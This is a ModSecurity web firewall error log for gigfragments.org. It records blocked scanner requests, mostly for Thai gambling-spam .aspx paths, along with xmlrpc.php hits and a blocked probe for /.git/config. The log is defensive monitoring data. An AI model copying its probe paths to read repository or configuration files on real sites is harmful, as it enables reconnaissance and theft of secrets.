[Wed Jan 28 00:47:14.955694 2026] [:error] [pid 24511:tid 24515] [client 51.83.11.108:41882] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87.aspx"] [unique_id "aXjsEmmoieLyDzs0ASTyPQAAAIA"]
[Wed Jan 28 00:47:17.010183 2026] [:error] [pid 41678:tid 41715] [client 51.83.11.108:34954] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%9A%E0%B8%B2%E0%B8%84%E0%B8%B2%E0%B8%A3%E0%B9%88%E0%B8%B2%20%E0%B8%AD%E0%B8%B1%E0%B8%99%E0%B8%94%E0%B8%B1%E0%B8%9A1.aspx"] [unique_id "aXjsFaja89ZyPVwMdigSTgAAABY"]
[Wed Jan 28 00:47:19.188240 2026] [:error] [pid 24511:tid 24525] [client 51.83.11.108:34958] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%9A%E0%B8%B2%E0%B8%84%E0%B8%B2%E0%B8%A3%E0%B9%88%E0%B8%B2%E0%B8%AD%E0%B8%AD%E0%B8%99%E0%B9%84%E0%B8%A5%E0%B8%99%E0%B9%8C.aspx"] [unique_id "aXjsF2moieLyDzs0ASTyRQAAAIo"]
[Wed Jan 28 00:47:21.485908 2026] [:error] [pid 41678:tid 41707] [client 51.83.11.108:34966] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%9A%E0%B8%B2%E0%B8%84%E0%B8%B2%E0%B8%A3%E0%B9%88%E0%B8%B2.aspx"] [unique_id "aXjsGaja89ZyPVwMdigSUQAAAA4"]
[Wed Jan 28 00:47:23.908279 2026] [:error] [pid 24425:tid 24446] [client 51.83.11.108:34978] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%9B%E0%B8%B1%E0%B9%88%E0%B8%99%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95.aspx"] [unique_id "aXjsGx_qUCA3SusVe0t4ZQAAARA"]
[Wed Jan 28 00:47:26.247722 2026] [:error] [pid 41678:tid 41703] [client 51.83.11.108:53708] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%9E%E0%B8%99%E0%B8%B1%E0%B8%99.aspx"] [unique_id "aXjsHqja89ZyPVwMdigSWAAAAAo"]
[Wed Jan 28 00:47:28.400006 2026] [:error] [pid 24427:tid 24494] [client 51.83.11.108:53724] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20%E0%B8%97%E0%B8%B5%E0%B9%88%20%E0%B8%A1%E0%B8%B5%20%E0%B8%84%E0%B8%99%20%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99%20%E0%B8%A1%E0%B8%B2%E0%B8%81%20%E0%B8%97%E0%B8%B5%E0%B9%88%E0%B8%AA%E0%B8%B8%E0%B8%94.aspx"] [unique_id "aXjsIE5-wqSNb5f_hOLwyQAAAYk"]
[Wed Jan 28 00:47:30.908288 2026] [:error] [pid 24427:tid 24500] [client 51.83.11.108:53730] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20%E0%B8%9D%E0%B8%B2%E0%B8%81%2020%20%E0%B8%A3%E0%B8%B1%E0%B8%9A%20100%20%E0%B8%97%E0%B8%B3%E0%B8%A2%E0%B8%AD%E0%B8%94%20200.aspx"] [unique_id "aXjsIk5-wqSNb5f_hOLwzwAAAY8"]
[Wed Jan 28 00:47:33.132435 2026] [:error] [pid 24425:tid 24440] [client 51.83.11.108:53740] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20168%20%E0%B8%9D%E0%B8%B2%E0%B8%81%20%E0%B8%96%E0%B8%AD%E0%B8%99%20true%20wallet.aspx"] [unique_id "aXjsJR_qUCA3SusVe0t4cgAAAQo"]
[Wed Jan 28 00:47:35.395259 2026] [:error] [pid 41678:tid 41707] [client 51.83.11.108:53744] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20168%20%E0%B8%9D%E0%B8%B2%E0%B8%81%E0%B8%96%E0%B8%AD%E0%B8%99%20true%20wallet.aspx"] [unique_id "aXjsJ6ja89ZyPVwMdigSbQAAAA4"]
[Wed Jan 28 00:47:37.768859 2026] [:error] [pid 24426:tid 24476] [client 51.83.11.108:51158] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20456%20%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%E0%B8%AA%E0%B8%B9%E0%B9%88%E0%B8%A3%E0%B8%B0%E0%B8%9A%E0%B8%9A.aspx"] [unique_id "aXjsKfbw8B_M5J5XrXTsRQAAAVI"]
[Wed Jan 28 00:47:39.946199 2026] [:error] [pid 24425:tid 24453] [client 51.83.11.108:51170] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20789.aspx"] [unique_id "aXjsKx_qUCA3SusVe0t4fwAAARc"]
[Wed Jan 28 00:47:42.082309 2026] [:error] [pid 41678:tid 41703] [client 51.83.11.108:51172] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20pg.aspx"] [unique_id "aXjsLqja89ZyPVwMdigScQAAAAo"]
[Wed Jan 28 00:47:44.296894 2026] [:error] [pid 24426:tid 24478] [client 51.83.11.108:51174] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%95%E0%B8%A3%E0%B8%87%E0%B8%97%E0%B8%B1%E0%B9%89%E0%B8%87%E0%B8%AB%E0%B8%A1%E0%B8%94.aspx"] [unique_id "aXjsMPbw8B_M5J5XrXTsWgAAAVQ"]
[Wed Jan 28 00:47:46.419209 2026] [:error] [pid 24427:tid 24507] [client 51.83.11.108:35702] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87.aspx"] [unique_id "aXjsMk5-wqSNb5f_hOLw6gAAAZY"]
[Wed Jan 28 00:47:48.594417 2026] [:error] [pid 24426:tid 24460] [client 51.83.11.108:35714] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%83%E0%B8%AB%E0%B8%A1%E0%B9%88%E0%B8%A5%E0%B9%88%E0%B8%B2%E0%B8%AA%E0%B8%B8%E0%B8%94.aspx"] [unique_id "aXjsNPbw8B_M5J5XrXTsYAAAAUI"]
[Wed Jan 28 00:47:50.980152 2026] [:error] [pid 24427:tid 24487] [client 51.83.11.108:35716] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%83%E0%B8%AB%E0%B8%A1%E0%B9%88%E0%B8%A5%E0%B9%88%E0%B8%B2%E0%B8%AA%E0%B8%B8%E0%B8%94888.aspx"] [unique_id "aXjsNk5-wqSNb5f_hOLw9QAAAYI"]
[Wed Jan 28 00:47:53.396296 2026] [:error] [pid 24511:tid 24531] [client 51.83.11.108:35728] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95.aspx"] [unique_id "aXjsOWmoieLyDzs0ASTybwAAAJA"]
[Wed Jan 28 00:47:55.444431 2026] [:error] [pid 24426:tid 24460] [client 51.83.11.108:35740] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95168.aspx"] [unique_id "aXjsO_bw8B_M5J5XrXTsagAAAUI"]
[Wed Jan 28 00:47:57.413351 2026] [:error] [pid 24427:tid 24502] [client 51.83.11.108:33382] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95789.aspx"] [unique_id "aXjsPU5-wqSNb5f_hOLw_AAAAZE"]
[Wed Jan 28 00:47:59.476687 2026] [:error] [pid 41678:tid 41702] [client 51.83.11.108:33384] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95888.aspx"] [unique_id "aXjsP6ja89ZyPVwMdigSfAAAAAk"]
[Wed Jan 28 00:48:02.333067 2026] [:error] [pid 41678:tid 41716] [client 51.83.11.108:33390] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95pg.aspx"] [unique_id "aXjsQqja89ZyPVwMdigSgAAAABc"]
[Wed Jan 28 00:48:04.417133 2026] [:error] [pid 24425:tid 24437] [client 51.83.11.108:33398] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%AB%E0%B8%A7%E0%B8%A2%E0%B8%AD%E0%B8%AD%E0%B8%99%E0%B9%84%E0%B8%A5%E0%B8%99%E0%B9%8C888.aspx"] [unique_id "aXjsRB_qUCA3SusVe0t4pAAAAQc"]
[Wed Jan 28 00:57:58.272732 2026] [:error] [pid 41678:tid 41701] [client 185.199.223.93:44648] [client 185.199.223.93] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.199.223.93, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXjulqja89ZyPVwMdigXBAAAAAg"]
[Wed Jan 28 01:03:15.238033 2026] [:error] [pid 41678:tid 41714] [client 43.128.156.124:40442] [client 43.128.156.124] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aXjv06ja89ZyPVwMdigZOgAAABU"]
[Wed Jan 28 01:16:38.321643 2026] [:error] [pid 41678:tid 41713] [client 34.125.38.51:46042] [client 34.125.38.51] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "aXjy9qja89ZyPVwMdigeMAAAABQ"]
[Wed Jan 28 01:48:58.698418 2026] [:error] [pid 24427:tid 24505] [client 74.208.27.102:48990] [client 74.208.27.102] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 74.208.27.102, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXj6ik5-wqSNb5f_hOIE8QAAAZQ"]
[Wed Jan 28 02:11:48.821223 2026] [:error] [pid 24511:tid 24524] [client 51.83.7.81:53788] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5%E0%B9%84%E0%B8%A1%E0%B9%88%E0%B8%95%E0%B9%89%E0%B8%AD%E0%B8%87%E0%B8%9D%E0%B8%B2%E0%B8%81%E0%B9%84%E0%B8%A1%E0%B9%88%E0%B8%95%E0%B9%89%E0%B8%AD%E0%B8%87%E0%B9%81%E0%B8%8A%E0%B8%A3%E0%B9%8C%202022%20%E0%B8%81%E0%B8%94%E0%B8%A3%E0%B8%B1%E0%B8%9A%E0%B9%80%E0%B8%AD%E0%B8%87.aspx"] [unique_id "aXj_5GmoieLyDzs0ASQP4QAAAIk"]
[Wed Jan 28 02:11:51.589038 2026] [:error] [pid 24426:tid 24480] [client 51.83.7.81:34240] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5%E0%B9%84%E0%B8%A1%E0%B9%88%E0%B8%95%E0%B9%89%E0%B8%AD%E0%B8%87%E0%B8%9D%E0%B8%B2%E0%B8%81%E0%B9%84%E0%B8%A1%E0%B9%88%E0%B8%95%E0%B9%89%E0%B8%AD%E0%B8%87%E0%B9%81%E0%B8%8A%E0%B8%A3%E0%B9%8C2021.aspx"] [unique_id "aXj_5_bw8B_M5J5XrXQGqAAAAVY"]
[Wed Jan 28 02:11:55.249996 2026] [:error] [pid 41678:tid 41697] [client 51.83.7.81:34248] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5%E0%B9%84%E0%B8%A1%E0%B9%88%E0%B8%95%E0%B9%89%E0%B8%AD%E0%B8%87%E0%B8%9D%E0%B8%B2%E0%B8%81.aspx"] [unique_id "aXj_66ja89ZyPVwMdig7AwAAAAQ"]
[Wed Jan 28 02:11:57.837989 2026] [:error] [pid 24425:tid 24445] [client 51.83.7.81:34254] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5.aspx"] [unique_id "aXj_7R_qUCA3SusVe0uRlQAAAQ8"]
[Wed Jan 28 02:12:00.490948 2026] [:error] [pid 24511:tid 24523] [client 51.83.7.81:34262] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5188.aspx"] [unique_id "aXj_8GmoieLyDzs0ASQP9wAAAIg"]
[Wed Jan 28 02:12:04.208468 2026] [:error] [pid 24511:tid 24530] [client 51.83.7.81:45304] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B550%E0%B9%84%E0%B8%A1%E0%B9%88%E0%B8%95%E0%B9%89%E0%B8%AD%E0%B8%87%E0%B8%9D%E0%B8%B2%E0%B8%81%E0%B9%84%E0%B8%A1%E0%B9%88%E0%B8%95%E0%B9%89%E0%B8%AD%E0%B8%87%E0%B9%81%E0%B8%8A%E0%B8%A3%E0%B9%8C.aspx"] [unique_id "aXj_9GmoieLyDzs0ASQP_wAAAI8"]
[Wed Jan 28 02:12:07.813945 2026] [:error] [pid 41678:tid 41701] [client 51.83.7.81:45306] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B550.aspx"] [unique_id "aXj_96ja89ZyPVwMdig7HQAAAAg"]
[Wed Jan 28 02:12:10.952706 2026] [:error] [pid 41678:tid 41709] [client 51.83.7.81:45312] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B9%80%E0%B8%8B%E0%B9%87%E0%B8%81%E0%B8%8B%E0%B8%B5%E0%B9%88%E0%B8%9A%E0%B8%B2%E0%B8%84%E0%B8%B2%E0%B8%A3%E0%B9%88%E0%B8%B2.aspx"] [unique_id "aXj_-qja89ZyPVwMdig7JwAAABA"]
[Wed Jan 28 02:12:13.937825 2026] [:error] [pid 24425:tid 24431] [client 51.83.7.81:49538] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B9%80%E0%B8%97%E0%B8%84%E0%B8%99%E0%B8%B4%E0%B8%84%20%E0%B8%81%E0%B8%B2%E0%B8%A3%20%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20%E0%B9%83%E0%B8%AB%E0%B9%89%E0%B9%84%E0%B8%94%E0%B9%89%20%E0%B9%82%E0%B8%9A%E0%B8%99%E0%B8%B1%E0%B8%AA%20pantip.aspx"] [unique_id "aXj__R_qUCA3SusVe0uRrgAAAQE"]
[Wed Jan 28 02:12:16.854607 2026] [:error] [pid 24511:tid 24518] [client 51.83.7.81:49546] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B9%80%E0%B8%9A%20%E0%B8%97%20365.aspx"] [unique_id "aXkAAGmoieLyDzs0ASQQKgAAAIM"]
[Wed Jan 28 02:12:20.250165 2026] [:error] [pid 41678:tid 41716] [client 51.83.7.81:49556] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B9%80%E0%B8%9A%E0%B8%97%E0%B8%9F%E0%B8%B4%E0%B8%81.aspx"] [unique_id "aXkABKja89ZyPVwMdig7OQAAABc"]
[Wed Jan 28 02:12:23.619574 2026] [:error] [pid 24511:tid 24525] [client 51.83.7.81:45754] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5.aspx"] [unique_id "aXkAB2moieLyDzs0ASQQRwAAAIo"]
